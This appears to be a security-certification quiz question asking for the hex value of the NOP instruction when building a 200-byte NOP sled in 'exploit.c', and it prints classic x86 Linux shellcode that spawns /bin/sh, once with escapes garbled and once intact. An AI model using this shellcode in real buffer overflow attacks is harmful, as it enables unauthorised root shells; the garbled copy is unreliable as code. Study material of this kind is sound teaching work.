What is the hexadecimal value of NOP instruction?

You are programming a buffer overflow exploit and you want to create a NOP sled of 200 bytes in the program exploit.c
char shellcode[] =
“x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0”
“x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8d”
“x53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73”
“x68”;
What is the hexadecimal value of NOP instruction?

You are programming a buffer overflow exploit and you want to create a NOP sled of 200 bytes in the program exploit.c

char shellcode[] =

“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0”
“\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d”
“\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73”
“\x68”;